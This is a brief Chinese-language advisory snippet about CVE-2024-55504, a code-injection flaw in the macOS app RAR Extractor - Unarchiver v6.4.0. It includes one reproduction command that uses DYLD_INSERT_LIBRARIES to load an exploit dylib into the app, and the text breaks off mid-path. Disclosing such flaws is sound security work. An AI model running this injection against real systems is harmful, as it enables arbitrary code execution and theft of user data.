CVE-2024-55504

CVE-2024-55504 RAR Extractor - Unarchiver Free and Pro v.6.4.0 中的一个问题允许本地攻击者注入任意代码，可能通过 MacOS 上的 exploitcombined.dylib 组件导致远程控制以及未经授权访问敏感用户数据。 复现步骤 在终端中执行 root@kitploit: DYLDINSERTLIBRARIES=exploitcombined.dylib /Applications/RAR\ Extractor\ -\ Unarchiver\ Pro.app/Contents/MacOS/RAR\ Extractor\ -...